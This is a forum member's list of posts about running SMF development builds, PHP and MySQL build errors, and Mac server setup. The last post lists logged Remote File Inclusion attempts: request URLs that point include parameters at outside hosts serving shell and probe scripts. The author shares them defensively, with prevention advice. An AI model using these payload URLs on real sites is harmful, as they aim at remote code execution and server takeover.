News:

Please note these forums are mostly a testing ground for my SMF work and I don't really use them otherwise.

Main Menu
Menu

Show posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.

Show posts Menu

Topics - SleePy

#121
{int:paste_board}
#122
Testing PasteBin using the latest SMF SVN with the proper fixes to PasteBin
#123
Testing Pastebin on SMF 2.0 with latest SVN.
#124
News & Announcements / Modless
Jan 11, 2008, 06:15 AM
I upgraded to the latest version of SMF via SVN to test some new stuff live. It slipped my mind to make sure to upgrade my mods to work with the newest version of SMF. As well there is a minor bug in the package manager. Oh well, I gladly accept any bugs to ensure that the final release does not have it ;)

I run all my mods here plus a few others, so I don't feel like manually installing them, and it gives me a way to test things when the bug in package manager is fixed :) I did manually install my custom main menu though.
#125
Blog Board / Run those Apps
Jan 08, 2008, 06:47 AM

Click For larger Image


I didn't realize until I was about to put down my computer for the night, that I was running a ton of applications and had hundreds of windows open.. I don't want to name them all but theres over 150 processes running right now as reported by terminal via "top".
I think I should close some applications, as I just noticed my fans are running up on a higher level and the cpu usage shows about 90% across both cpus..

Edit,
After a count I get:
26 visible applications running
45+ windows open
14 Menubar Items
and the rest where background apps

I also had 2 network connections to my other two macs, a network printer I was talking too. A router that everything goes through, and 5+ applications making internet connections. Yet I wonder sometimes where my bandwidth goes :P
#126
As I tell you, following the Development of SMF means problems with current scripts I run here. It is a task to keep things working.
I just realized the other day that my blogs site was not functioning due to a update I did recently.

Well I was able to fix it all up and to my surprise, I also achieved a unexpected new feature. SMF 2.0 has a WYSIWYG editor that the developers have actually made themselves with a good amount of javascript to do the work. Thankfully how things are handled I just needed to include the Javascript files after fixing the issue and away everything went.

I got more in store, I just need time to work. College has started and its going to be a very interesting quarter. As a mac fan I use a macintosh everyday, but to receive a degree I need to take Microsoft classes. It is kinda a pain to live in the same state as Microsoft, but I will get through it I guess. Winter Quarter next year I have to take a linux course, I am looking forward to that as well as the network design and infrastructure :D
#127
gcc -I/usr/include -g -O2 -DZTS  -L/usr/local/lib -L/home/libraries/zlib/lib -L/usr/local/mysql/lib -L/sw/lib  -Wl,-rpath,/usr/local/lib -Wl,-rpath,/home/libraries/zlib/lib -Wl,-rpath,/usr/local/mysql/lib -Wl,-rpath,/sw/lib ext/ereg/ereg.o ext/ereg/regex/regcomp.o ext/ereg/regex/regexec.o ext/ereg/regex/regerror.o ext/ereg/regex/regfree.o ext/libxml/libxml.o ext/pcre/pcrelib/pcre_chartables.o ext/pcre/pcrelib/pcre_ucp_searchfuncs.o ext/pcre/pcrelib/pcre_compile.o ext/pcre/pcrelib/pcre_config.o ext/pcre/pcrelib/pcre_exec.o ext/pcre/pcrelib/pcre_fullinfo.o ext/pcre/pcrelib/pcre_get.o ext/pcre/pcrelib/pcre_globals.o ext/pcre/pcrelib/pcre_info.o ext/pcre/pcrelib/pcre_maketables.o ext/pcre/pcrelib/pcre_newline.o ext/pcre/pcrelib/pcre_ord2utf8.o ext/pcre/pcrelib/pcre_refcount.o ext/pcre/pcrelib/pcre_study.o ext/pcre/pcrelib/pcre_tables.o ext/pcre/pcrelib/pcre_try_flipped.o ext/pcre/pcrelib/pcre_valid_utf8.o ext/pcre/pcrelib/pcre_version.o ext/pcre/pcrelib/pcre_xclass.o ext/pcre/php_pcre.o ext/zlib/zlib.o ext/zlib/zlib_fopen_wrapper.o ext/zlib/zlib_filter.o ext/ctype/ctype.o ext/date/php_date.o ext/date/lib/astro.o ext/date/lib/dow.o ext/date/lib/parse_date.o ext/date/lib/parse_tz.o ext/date/lib/timelib.o ext/date/lib/tm2unixtime.o ext/date/lib/unixtime2tm.o ext/dom/php_dom.o ext/dom/attr.o ext/dom/document.o ext/dom/domerrorhandler.o ext/dom/domstringlist.o ext/dom/domexception.o ext/dom/namelist.o ext/dom/processinginstruction.o ext/dom/cdatasection.o ext/dom/documentfragment.o ext/dom/domimplementation.o ext/dom/element.o ext/dom/node.o ext/dom/string_extend.o ext/dom/characterdata.o ext/dom/documenttype.o ext/dom/domimplementationlist.o ext/dom/entity.o ext/dom/nodelist.o ext/dom/text.o ext/dom/comment.o ext/dom/domconfiguration.o ext/dom/domimplementationsource.o ext/dom/entityreference.o ext/dom/notation.o ext/dom/xpath.o ext/dom/dom_iterators.o ext/dom/typeinfo.o ext/dom/domerror.o ext/dom/domlocator.o ext/dom/namednodemap.o ext/dom/userdatahandler.o ext/filter/filter.o ext/filter/sanitizing_filters.o ext/filter/logical_filters.o ext/filter/callback_filter.o ext/hash/hash.o ext/hash/hash_md.o ext/hash/hash_sha.o ext/hash/hash_ripemd.o ext/hash/hash_haval.o ext/hash/hash_tiger.o ext/hash/hash_gost.o ext/hash/hash_snefru.o ext/hash/hash_whirlpool.o ext/hash/hash_adler32.o ext/hash/hash_crc32.o ext/iconv/iconv.o ext/json/json.o ext/json/utf8_to_utf16.o ext/json/utf8_decode.o ext/json/JSON_parser.o ext/mysql/php_mysql.o ext/pdo/pdo.o ext/pdo/pdo_dbh.o ext/pdo/pdo_stmt.o ext/pdo/pdo_sql_parser.o ext/pdo/pdo_sqlstate.o ext/pdo_sqlite/pdo_sqlite.o ext/pdo_sqlite/sqlite_driver.o ext/pdo_sqlite/sqlite_statement.o ext/pdo_sqlite/sqlite/src/attach.o ext/pdo_sqlite/sqlite/src/auth.o ext/pdo_sqlite/sqlite/src/btree.o ext/pdo_sqlite/sqlite/src/build.o ext/pdo_sqlite/sqlite/src/callback.o ext/pdo_sqlite/sqlite/src/date.o ext/pdo_sqlite/sqlite/src/delete.o ext/pdo_sqlite/sqlite/src/expr.o ext/pdo_sqlite/sqlite/src/func.o ext/pdo_sqlite/sqlite/src/hash.o ext/pdo_sqlite/sqlite/src/insert.o ext/pdo_sqlite/sqlite/src/legacy.o ext/pdo_sqlite/sqlite/src/main.o ext/pdo_sqlite/sqlite/src/os_unix.o ext/pdo_sqlite/sqlite/src/os_win.o ext/pdo_sqlite/sqlite/src/os.o ext/pdo_sqlite/sqlite/src/pager.o ext/pdo_sqlite/sqlite/src/pragma.o ext/pdo_sqlite/sqlite/src/prepare.o ext/pdo_sqlite/sqlite/src/printf.o ext/pdo_sqlite/sqlite/src/random.o ext/pdo_sqlite/sqlite/src/select.o ext/pdo_sqlite/sqlite/src/table.o ext/pdo_sqlite/sqlite/src/tokenize.o ext/pdo_sqlite/sqlite/src/analyze.o ext/pdo_sqlite/sqlite/src/complete.o ext/pdo_sqlite/sqlite/src/trigger.o ext/pdo_sqlite/sqlite/src/update.o ext/pdo_sqlite/sqlite/src/utf.o ext/pdo_sqlite/sqlite/src/util.o ext/pdo_sqlite/sqlite/src/vacuum.o ext/pdo_sqlite/sqlite/src/vdbeapi.o ext/pdo_sqlite/sqlite/src/vdbeaux.o ext/pdo_sqlite/sqlite/src/vdbe.o ext/pdo_sqlite/sqlite/src/vdbemem.o ext/pdo_sqlite/sqlite/src/where.o ext/pdo_sqlite/sqlite/src/parse.o ext/pdo_sqlite/sqlite/src/opcodes.o ext/pdo_sqlite/sqlite/src/alter.o ext/pdo_sqlite/sqlite/src/vdbefifo.o ext/pdo_sqlite/sqlite/src/vtab.o ext/pdo_sqlite/sqlite/src/loadext.o ext/pgsql/pgsql.o ext/posix/posix.o ext/reflection/php_reflection.o ext/session/session.o ext/session/mod_files.o ext/session/mod_mm.o ext/session/mod_user.o ext/simplexml/simplexml.o ext/spl/php_spl.o ext/spl/spl_functions.o ext/spl/spl_engine.o ext/spl/spl_iterators.o ext/spl/spl_array.o ext/spl/spl_directory.o ext/spl/spl_sxe.o ext/spl/spl_exceptions.o ext/spl/spl_observer.o ext/sqlite/sqlite.o ext/sqlite/sess_sqlite.o ext/sqlite/pdo_sqlite2.o ext/sqlite/libsqlite/src/opcodes.o ext/sqlite/libsqlite/src/parse.o ext/sqlite/libsqlite/src/encode.o ext/sqlite/libsqlite/src/auth.o ext/sqlite/libsqlite/src/btree.o ext/sqlite/libsqlite/src/build.o ext/sqlite/libsqlite/src/delete.o ext/sqlite/libsqlite/src/expr.o ext/sqlite/libsqlite/src/func.o ext/sqlite/libsqlite/src/hash.o ext/sqlite/libsqlite/src/insert.o ext/sqlite/libsqlite/src/main.o ext/sqlite/libsqlite/src/os.o ext/sqlite/libsqlite/src/pager.o ext/sqlite/libsqlite/src/printf.o ext/sqlite/libsqlite/src/random.o ext/sqlite/libsqlite/src/select.o ext/sqlite/libsqlite/src/table.o ext/sqlite/libsqlite/src/tokenize.o ext/sqlite/libsqlite/src/update.o ext/sqlite/libsqlite/src/util.o ext/sqlite/libsqlite/src/vdbe.o ext/sqlite/libsqlite/src/attach.o ext/sqlite/libsqlite/src/btree_rb.o ext/sqlite/libsqlite/src/pragma.o ext/sqlite/libsqlite/src/vacuum.o ext/sqlite/libsqlite/src/copy.o ext/sqlite/libsqlite/src/vdbeaux.o ext/sqlite/libsqlite/src/date.o ext/sqlite/libsqlite/src/where.o ext/sqlite/libsqlite/src/trigger.o ext/standard/array.o ext/standard/base64.o ext/standard/basic_functions.o ext/standard/browscap.o ext/standard/crc32.o ext/standard/crypt.o ext/standard/cyr_convert.o ext/standard/datetime.o ext/standard/dir.o ext/standard/dl.o ext/standard/dns.o ext/standard/exec.o ext/standard/file.o ext/standard/filestat.o ext/standard/flock_compat.o ext/standard/formatted_print.o ext/standard/fsock.o ext/standard/head.o ext/standard/html.o ext/standard/image.o ext/standard/info.o ext/standard/iptc.o ext/standard/lcg.o ext/standard/link.o ext/standard/mail.o ext/standard/math.o ext/standard/md5.o ext/standard/metaphone.o ext/standard/microtime.o ext/standard/pack.o ext/standard/pageinfo.o ext/standard/quot_print.o ext/standard/rand.o ext/standard/soundex.o ext/standard/string.o ext/standard/scanf.o ext/standard/syslog.o ext/standard/type.o ext/standard/uniqid.o ext/standard/url.o ext/standard/url_scanner.o ext/standard/var.o ext/standard/versioning.o ext/standard/assert.o ext/standard/strnatcmp.o ext/standard/levenshtein.o ext/standard/incomplete_class.o ext/standard/url_scanner_ex.o ext/standard/ftp_fopen_wrapper.o ext/standard/http_fopen_wrapper.o ext/standard/php_fopen_wrapper.o ext/standard/credits.o ext/standard/css.o ext/standard/var_unserializer.o ext/standard/ftok.o ext/standard/sha1.o ext/standard/user_filters.o ext/standard/uuencode.o ext/standard/filters.o ext/standard/proc_open.o ext/standard/streamsfuncs.o ext/standard/http.o ext/tokenizer/tokenizer.o ext/tokenizer/tokenizer_data.o ext/unicode/unicode.o ext/unicode/locale.o ext/unicode/unicode_iterators.o ext/unicode/collator.o ext/unicode/property.o ext/unicode/constants.o ext/unicode/transform.o ext/xml/xml.o ext/xml/compat.o ext/xmlreader/php_xmlreader.o ext/xmlwriter/php_xmlwriter.o TSRM/TSRM.o TSRM/tsrm_strtok_r.o TSRM/tsrm_virtual_cwd.o main/main.o main/snprintf.o main/spprintf.o main/php_sprintf.o main/fopen_wrappers.o main/alloca.o main/php_scandir.o main/php_ini.o main/SAPI.o main/rfc1867.o main/php_content_types.o main/strlcpy.o main/strlcat.o main/mergesort.o main/reentrancy.o main/php_variables.o main/php_ticks.o main/network.o main/php_open_temporary_file.o main/php_logos.o main/output.o main/getopt.o main/streams/streams.o main/streams/cast.o main/streams/memory.o main/streams/filter.o main/streams/plain_wrapper.o main/streams/userspace.o main/streams/transports.o main/streams/xp_socket.o main/streams/mmap.o main/streams/unicode_filter.o main/streams/glob_wrapper.o Zend/zend_language_parser.o Zend/zend_language_scanner.o Zend/zend_ini_parser.o Zend/zend_ini_scanner.o Zend/zend_alloc.o Zend/zend_compile.o Zend/zend_constants.o Zend/zend_dynamic_array.o Zend/zend_execute_API.o Zend/zend_unicode.o Zend/zend_highlight.o Zend/zend_llist.o Zend/zend_opcode.o Zend/zend_operators.o Zend/zend_ptr_stack.o Zend/zend_stack.o Zend/zend_variables.o Zend/zend.o Zend/zend_API.o Zend/zend_extensions.o Zend/zend_hash.o Zend/zend_list.o Zend/zend_indent.o Zend/zend_builtin_functions.o Zend/zend_sprintf.o Zend/zend_ini.o Zend/zend_qsort.o Zend/zend_ts_hash.o Zend/zend_stream.o Zend/zend_iterators.o Zend/zend_interfaces.o Zend/zend_exceptions.o Zend/zend_strtod.o Zend/zend_strtol.o Zend/zend_objects.o Zend/zend_object_handlers.o Zend/zend_objects_API.o Zend/zend_default_classes.o Zend/zend_execute.o sapi/cli/php_cli.o sapi/cli/php_cli_readline.o main/internal_functions_cli.o  -lpq -lmysqlclient_r -liconv -liconv -lz -lm -lm -licui18n -licuuc -licudata -lm -licuio -lxml2 -lz -licucore -lm -lxml2 -lz -licucore -lm -lxml2 -lz -licucore -lm -lxml2 -lz -licucore -lm -lxml2 -lz -licucore -lm -lxml2 -lz -licucore -lm  -o sapi/cli/php
Undefined symbols:
  "_iconv_close", referenced from:
      _php_iconv_string in iconv.o
      _php_iconv_string in iconv.o
      __php_iconv_strlen in iconv.o
      __php_iconv_strpos in iconv.o
      __php_iconv_mime_decode in iconv.o
      __php_iconv_mime_decode in iconv.o
      __php_iconv_mime_decode in iconv.o
      _zif_iconv_substr in iconv.o
      _zif_iconv_substr in iconv.o
      _zif_iconv_mime_encode in iconv.o
      _zif_iconv_mime_encode in iconv.o
  "_iconv_open", referenced from:
      _php_iconv_string in iconv.o
      __php_iconv_strlen in iconv.o
      __php_iconv_strpos in iconv.o
      __php_iconv_mime_decode in iconv.o
      __php_iconv_mime_decode in iconv.o
      _zif_iconv_substr in iconv.o
      _zif_iconv_substr in iconv.o
      _zif_iconv_mime_encode in iconv.o
      _zif_iconv_mime_encode in iconv.o
ld: symbol(s) not found
collect2: ld returned 1 exit status
make: *** [sapi/cli/php] Error 1
#128
News & Announcements / Reset those settings.
Dec 14, 2007, 04:39 PM
Well it seems a bug has hit my forum. Since I run 2.0 on a cvs version and usually test bug reports here for what ever reason, last night I hit a big bug.
Thankfully I was able to fix most of it, but you did lose theme specific setups. This bug has been logged in our team bug tracker with details to the developer about the bug.

At least it isn't as bad as the bug that caused the corruption to my board access on my main site :P It wouldn't let me fix it per group so I had to fix it per board and we have over 100 boards there.. wow..
#129
ToDo / Creating a test
Dec 07, 2007, 10:41 PM
Can we create tasks?
#130
News & Announcements / Blog that sucker
Dec 05, 2007, 04:08 AM
http://sleepycode.com/Blog/

I got some blogs now. So I feel leet. Better than akabugeyes.
#131
Blog Board / Running the Blogs
Dec 05, 2007, 03:57 AM
Well jeez, I never got the whole idea for a blog. Some person to just blab about what they want to blab about and hope that others read their junk. Who cares really. Well I don't care what others think, I still don't care for blogs, but I thought this would be a cool thing I could do with some php power.

I hacked the script to tap into my main sites template system and generate the page based on this. I had a bug for a while that prevented posting from the blog, which is why my leopard topic has a few test replies, but I finally figured it out.

My blog script works similar to how my main site works and just includes the files and changes things around. I even run a special url checking that adds blogs. and removes /Blog if you are using the blog sub-domain. Which was really basic itself. This whole thing really is.

At one time I almost had the url be based of the subject, but I don't like those because I can remember a number better than I could remember a name of a topic. But both are possible. Doing the name of the topic just means one more query to find the id of the topic and then running a SMF 2.0 SSI (Server Side Includes) function to query a post.

I hopefully will have more news in the future as well as I progress in trying to do something really cool for the site, but it is hard to do without breaking a production server.
#132
/bin/sh ../../libtool --preserve-dup-deps --tag=CXX --mode=link g++  -O3    -fno-implicit-templates -fno-exceptions -fno-rtti -D_P1003_1B_VISIBLE -DSIGNAL_WITH_VIO_CLOSE -DSIGNALS_DONT_BREAK_READ -DIGNORE_SIGHUP_SIGQUIT  -DDONT_DECLARE_CXA_PURE_VIRTUAL   -o mysqlmanager  mysqlmanager-command.o mysqlmanager-mysqlmanager.o mysqlmanager-manager.o mysqlmanager-log.o mysqlmanager-thread_registry.o mysqlmanager-listener.o mysqlmanager-protocol.o mysqlmanager-mysql_connection.o mysqlmanager-user_map.o mysqlmanager-messages.o mysqlmanager-commands.o mysqlmanager-instance.o mysqlmanager-instance_map.o mysqlmanager-instance_options.o mysqlmanager-buffer.o mysqlmanager-parse.o mysqlmanager-guardian.o mysqlmanager-parse_output.o mysqlmanager-user_management_commands.o mysqlmanager-angel.o liboptions.la libnet.a ../../vio/libvio.a ../../mysys/libmysys.a ../../strings/libmystrings.a ../../dbug/libdbug.a -lz -lm  
g++ -O3 -fno-implicit-templates -fno-exceptions -fno-rtti -D_P1003_1B_VISIBLE -DSIGNAL_WITH_VIO_CLOSE -DSIGNALS_DONT_BREAK_READ -DIGNORE_SIGHUP_SIGQUIT -DDONT_DECLARE_CXA_PURE_VIRTUAL -o mysqlmanager mysqlmanager-command.o mysqlmanager-mysqlmanager.o mysqlmanager-manager.o mysqlmanager-log.o mysqlmanager-thread_registry.o mysqlmanager-listener.o mysqlmanager-protocol.o mysqlmanager-mysql_connection.o mysqlmanager-user_map.o mysqlmanager-messages.o mysqlmanager-commands.o mysqlmanager-instance.o mysqlmanager-instance_map.o mysqlmanager-instance_options.o mysqlmanager-buffer.o mysqlmanager-parse.o mysqlmanager-guardian.o mysqlmanager-parse_output.o mysqlmanager-user_management_commands.o mysqlmanager-angel.o -Wl,-bind_at_load  ./.libs/liboptions.a libnet.a ../../vio/libvio.a ../../mysys/libmysys.a ../../strings/libmystrings.a ../../dbug/libdbug.a -lz -lm
Making all in win
make[1]: Nothing to be done for `all\'.
Jeremys-Computer:mysql-6.0.3-alpha jeremy$ make install
Making install in .
make[2]: Nothing to be done for `install-exec-am\'.
make[2]: Nothing to be done for `install-data-am\'.
Making install in include
make  install-am
make[3]: Nothing to be done for `install-exec-am\'.
test -z \"/usr/local/mysql6/include/mysql\" || /Users/jeremy/Downloads/mysql-6.0.3-alpha/install-sh -d \"/usr/local/mysql6/include/mysql\"
mkdir: /usr/local/mysql6: Permission denied
make[3]: *** [install-pkgincludeHEADERS] Error 1
make[2]: *** [install-am] Error 2
make[1]: *** [install] Error 2
make: *** [install-recursive] Error 1
Jeremys-Computer:mysql-6.0.3-alpha jeremy$
#133
$bks['lcttribe']['url'] = 'lordsofclantribe.com';

$bks['sleepy']['url'] = 'sleepycode.com';
$bks['sleepy']['usr'] = 'sleepy1';

$bks['sleepy']['db'] = array ('home', 'dev');



   foreach($bks as $user)
   {
      $nm = $user['db'];
      foreach($nm as $database_name)
         GetDBBackup($user, $database_name);
   }
#134
SleePys-Computer:~ jeremy$ login root
Password:
SleePys-Computer:~ root# sudo /usr/local/mysql/bin/mysqld-debug
071121 20:53:51 [Warning] Setting lower_case_table_names=2 because file system for /usr/local/mysql-5.0.45-osx10.4-i686/data/ is case insensitive
071121 20:53:51 [ERROR] Fatal error: Please read "Security" section of the manual to find out how to run mysqld as root!

071121 20:53:51 [ERROR] Aborting

071121 20:53:51 [Note] /usr/local/mysql/bin/mysqld-debug: Shutdown complete
#135
Installing PHP SAPI module:       apache2handler
/home/apache/build/instdso.sh SH_LIBTOOL=\'/home/apache/build/libtool\' libs/libphp5.so /home/apache/modules
/home/apache/build/libtool --mode=install cp libs/libphp5.so /home/apache/modules/
cp libs/libphp5.so /home/apache/modules/libphp5.so
Warning!  dlname not found in /home/apache/modules/libphp5.so.
Assuming installing a .so rather than a libtool archive.
chmod 755 /home/apache/modules/libphp5.so
[activating module `php5\' in /home/apache/conf/httpd.conf]
Installing PHP CLI binary:        /home/php53/bin/
Installing PHP CLI man page:      /usr/share/man/man1/
Installing build environment:     /home/php53/lib/php/build/
Installing header files:          /home/php53/include/php/
Installing helper programs:       /home/php53/bin/
  program: phpize
  program: php-config
Installing man pages:             /usr/share/man/man1/
  page: phpize.1
  page: php-config.1
Installing PEAR environment:      /home/php53/lib/php/

No download utilities found. Don\'t know how to download PEAR archive.

+----------------------------------------------------------------------+
| The installation process is incomplete. The following resources were |
| not installed:                                                       |
|                                                                      |
|   PEAR: PHP Extension and Application Repository                     |
|                                                                      |
| To install these components,                                         |
| download http://pear.php.net/install-pear.phar to php-src/pear/      |
| become the superuser and execute:                                    |
|                                                                      |
|   # make install-su                                                  |
+----------------------------------------------------------------------+
Installing PDO headers:          /home/php53/include/php/ext/pdo/
#136
As most of you know I use a Mac. I develop everything from my macs. So it may come to no surprise that when Apple released their new Leopard system recently, I went to the Apple Online Store and acquired mine for $10 (Due to having made a macbook purchase recently I was able to get this at a low cost).

Well the upgrade was cool and the background was neat. The nice toolbar along the top changed. I was very impressed with how it looked. I became even more impressed after the upgrade was complete and I could login again. The features that Apple has put in Leopard really are outstanding to say the least, it really amazes me.

Well sadly, I get disappointed soon after. Currently I emulate this site and others running on the dedicated server by setting up the /home directory on my mac and then the accounts, then using the hosts file I point .test domains to my mac again. And finally in apache setup I using virtual hosts I correctly point the domains. This is very similar to how cpanel itself works to setup sites.

To my surprise the /home folder was empty, in fact it was a alias (symlink/shortcut) to another drive that was empty and locked. This really set me off. After some work I found out my home directory still existed, So I rescued it with some command lines via the upgrade disk and dropped it in my user folder.

After much more work I was finally able to figure it out why /home was another drive. It seems apple set this up for some reason on bootup. Well I also figured out that this was setup from a file in /etc called "auto_master" and its slave process "auto_home".

So after manually editing the auto_master myself and saving the changes, I had set it up to instead of using "/home" to actually use "/home/user". This was very simple process, Like most people editing these types of plain text files are very easy (as well as easy to screw up).

I took a chance and rebooted my macbook pro. Well to my joy, It was using /home/user to point to the empty untouchable drive. I edited the permissions on /home since the bootup created it so I could edit it and dropped files in it. After another reboot I saw the files still existed which makes me happy.

So after returning the files I was able to boot apache up with "sudo /home/apache/bin/apachectl start" and only recieved a minor error which doesn't seem to affect apache's startup. But yet, my .test domains where not working yet.

So back to google for more research I find out that Apple decided to remove "NetInfo.app" from the "/Applications/Utilities" folder. This was a slight set back as I had used this application to point domains to my computer.

Again, thanks to google I was able to find out how to setup My mac to use flat file database for domain lookups before it trys a dns server for the information. Thankfully that worked and I was able to manually edit my "/etc/hosts" file and point my test domains to my computer again. So a final reboot to ensure it worked, I am finally able to use my test site again on Leopard.

For your information, it seems Apple includes apache 2.2.6 and php 5.2.4 by default on Leopard (as per a quick command line check), but I like having a custom setup for my needs instead of the default setup. The default setup suits most people and their own needs.
As well for the most basic emulation of cpanels setup you can create a home folder in your hard drive root. Then using terminal you can create a symlink using your cpanel user name and then the path to you user account's Sites folder.
#137
Blog Board / Hacking by the numbers
Oct 26, 2007, 10:24 PM
Well, I got board a couple of months ago and added in the ability to load pages and what was being viewed.
I then about a couple weeks later added in to show those views.
Finally about three weeks ago I redid the whole system so I could more easily track the actual pages that are being viewed as I was curious about it.

Well Today I was bored enough I went and looked at them and then using my php script decoded the stuff.
For my site that has been up for almost a year now this seems odd to have this many hacking attempts. But I guess when I got my site as pubically known at an accelerated rate things can happen fast.

I removed hopefully the useless junk to show you the real stuff. the script attempts to combine common stuff and count them. Not ability to do combining and comparing is not very good so it messed up a few times. But it got enough to show the results.

The information below shows the hacking attempts since I changed the script a few weeks ago. It folllows a little format of List #: Page accessed: Number of hits
Simple, yes?
The good news is, since how i code all of these have failed and will continue to fail. A good thing to know is defining your files to prevent Remote File Inclusion is to either set the value right there or include a file with a hard coded path that sets the path to your files you want to load. (SMF does the later and calls from index.php the Settings.php) As well as ensuring that furl_open is disabled in php.ini gives a big helping hand in ensuring that RFI is harder to achieve. Also if you use an action array like SMF you should be hard coding it instead of depending on variables and such. SMF's action array is a good example on how to do this very securely.

  25. /index.php?port=http://amyru.h18.ru/images/cs.txt?:40
  32. //index.php?sourcedir=http://www.unkn0wn-xd.by.ru/id.txt?:28
  33. /index.php?show=http://www.digitalcrocker.org/.1/safe3?:28
  37. //index.php?sourcedir=http://www.sehospede.com/echo.txt??:25
  38. /index.php/action,hacks.html?action=hacks;page=3:25
  41. /index.php?action=encrypt/index.php?action=http://www.digitalcrocker.org/.1/safe3?:21
  42. //index.php?sourcedir=http://www.sehospede.com/echo.txt?:20
  43. /index.php?action=http://amyru.h18.ru/images/cs.txt?:20
  44. /index.php?show=http://agatsuma.bestfreewebspace.net/safe3?:19
  45. /index.php?port=forum;action=search/index.php?Load=http://www.digitalcrocker.org/.1/safe3?:19
  48. /?/action,file//index.php?sourcedir=http://www.sehospede.com/echo.txt?:18
  51. /?/action,file//index.php?sourcedir=http://www.sehospede.com/echo.txt??:15
  52. /?//index.php?sourcedir=http://www.sehospede.com/echo.txt??:15
  55. /?//index.php?sourcedir=http://www.sehospede.com/echo.txt?:14
  56. /index.php?action=encrypt/home.php?action=http://agatsuma.bestfreewebspace.net/safe3?:14
  60. /home.php?action=http://agatsuma.bestfreewebspace.net/safe3?:14
  61. //index.php?sourcedir=http://www.mursia.net/echo.txt??:13
  66. /index.php?load=http://xredrum.com/id.txt?:11
  68. /index.php?action=file;file=changelog.txt/index.php?load=http://xredrum.com/id.txt?:10
  72. /account.php?action=http://www.superlab.jazztel.es/safe.gif?:10
  73. /index.php?action=file;file=changelog.txt/index.php?Load=http://www.thedailybrand.com/news/_files/id.txt??:9
  74. /index.php?Load=http://www.thedailybrand.com/news/_files/id.txt??:9
  77. /?//index.php?sourcedir=http://www.wisdom-creation.com/cmd.txt?:8
  78. //index.php?sourcedir=http://www.wisdom-creation.com/cmd.txt?:8
  79. /index.php?load=ftp://80.50.253.90/upload/071011004039p/new?:8
  80. /index.php?action=file;file=restore_backup.php//index.php?sourcedir=http://www.unkn0wn-xd.by.ru/id.txt?:8
  81. /index.php?action=file;file=email_tests.php//index.php?sourcedir=http://www.unkn0wn-xd.by.ru/id.txt?:8
  82. /index.php?action=file;file=changelog.txt/index.php?Load=http://xredrum.com/id.txt?:8
  83. /index.php?action=encrypt/home.php?action=http://www.digitalcrocker.org/.1/safe3?:8
  84. /index.php?Load=http://xredrum.com/id.txt?:8
  85. /?/action,file/index.php?load=ftp://80.50.253.90/upload/071011004039p/new?:7
  86. /?/action,file//index.php?sourcedir=http://www.insert-coin.biz/echo.txt??:7
  87. /?//index.php?sourcedir=http://www.insert-coin.biz/echo.txt??:7
  88. //index.php?sourcedir=http://www.insert-coin.biz/echo.txt??:7
  95. /?/index.php?load=ftp://80.50.253.90/upload/071011004039p/new?:6
  97. /?/action,file//index.php?sourcedir=http://www.ric3sk9.xpgplus.com.br/echo.txt?:6
  98. /?//index.php?sourcedir=http://www.ric3sk9.xpgplus.com.br/echo.txt?:6
  99. /%3Cwbr%20/index.php?load=http://www.unkn0wn-xd.by.ru/id.txt?:6
100. //index.php?sourcedir=http://www.ric3sk9.xpgplus.com.br/echo.txt?:6
101. //yabbse/Sources/Packages.php?sourcedir=http://missdica.com/board/skin/zero_vote/safe.txt?:6
102. //yabbse/Sources/Packages.php?sourcedir=http://www.calebsfunzone.com/editor/cmd?:6
103. /index.php?load=http://www.malteser-schwerte.de/contenido/classes/safe.txt???:6
104. /index.php/index.php?select=http://xredrum.com/id.txt?:6
110. /?/reports.php?sub=http://atk33cmd.iespana.es/asc.txt?:5
112. /?/action,file/reports.php?sub=http://atk33cmd.iespana.es/asc.txt?:5
114. /reports.php?sub=http://atk33cmd.iespana.es/asc.txt?:5
116. /index.php?action=file;file=yabb_to_yabbse.txt//yabbse/Sources/Packages.php?sourcedir=http://missdica.com/board/skin/zero_vote/safe.txt?:5
133. /index.php?port=forum;topic=69.0//index.php?sourcedir=http://www.unkn0wn-xd.by.ru/id.txt?:4
134. /index.php?load=http://muold.4fungames.com.br/cmdz.txt?:4
135. /index.php?load=http://members.lycos.co.uk/bebitza/id.txt?:4
136. /index.php?load=http://infected.sinfree.net/id.txt?:4
137. /index.php?load=http://usuarios.arnet.com.ar/larry123/safe.txt?:4
138. /index.php?action=file;file=artemis.txt//index.php?sourcedir=http://www.unkn0wn-xd.by.ru/id.txt?:4
145. /account.php?action=http://xredrum.com/id.txt?:4
146. /?/index.php?load=http://usuarios.arnet.com.ar/larry123/safe.txt?:3
147. /?/action,file/index.php?load=http://www.calebsfunzone.com/editor/cmd?:3
148. /?/action,file/index.php?load=http://usuarios.arnet.com.ar/larry123/safe.txt?:3
149. /?/action,file//index.php?page=http://www.mursia.net/echo.txt??:3
150. /?//index.php?page=http://www.mursia.net/echo.txt??:3
151. //index.php?page=http://www.mursia.net/echo.txt??:3
152. //index.php?sourcedir=http://indonesia-mall.com/administrator/backups/boy/boy.txt??:3
153. //index.php?sourcedir=http://www.dunakom.hu/userimages/id.txt?:3
154. /index.php?sourcedir=ftp://80.50.253.90/upload/071011004039p/new?:3
156. /index.php?load=http://inicial.6te.net/safe.txt?:3
157. /index.php?action=file;file=changelog.txt/index.php?load=http://www.deerbrookonline.net/id.txt?:3
158. /index.php?action=file;file=changelog.txt/index.php?load=http://members.lycos.co.uk/bebitza/id.txt?:3
160. /modul.php?mod=http://xredrum.com/id.txt?:3
161. /modul.php?mod=http://infected.sinfree.net/id.txt?:3
162. /Pastebin/start.php?mod=http://xredrum.com/id.txt?:3
163. /Pastebin/modul.php?mod=http://xredrum.com/id.txt?:3
164. /Pastebin/modul.php?mod=http://infected.sinfree.net/id.txt?:3
165. /Pastebin/mod.php?mod=http://infected.sinfree.net/id.txt?:3
166. /?/index.php?load=http://www.meta-k.ru/safe.txt?:2
167. /?/index.php?load=http://smile.122mb.com/smile27.gif?:2
168. /?/admin.php?page=http://www.attackbr.xpg.com.br/did.txt?:2
169. /?/action,file/index.php?load=http://www.meta-k.ru/safe.txt?:2
170. /?/action,file/admin.php?page=http://71.41.190.203/238.txt?:2
171. /%3Cwbr%20/index.php?load=ftp://80.50.253.90/upload/071011004039p/new?:2
172. /%3Cwbr%20/%3Eindex.php?action=file;file=changelog.txt/index.php?load=http://members.lycos.co.uk/bebitza/id.txt?:2
173. //index.php?sourcedir=http://www.kolortavil.org/Connections/ok.txt?:2
174. //yabbse/Sources/Packages.php?sourcedir=http://www.freewebtown.com/djflopa/a?:2
175. /index.php?port=forum;action=groups;sa=members;group=1:2
176. /index.php?load=http://smile.122mb.com/smile27.gif?:2
177. /index.php?load=http://200.51.46.126/game1/gamesinstall/boy?:2
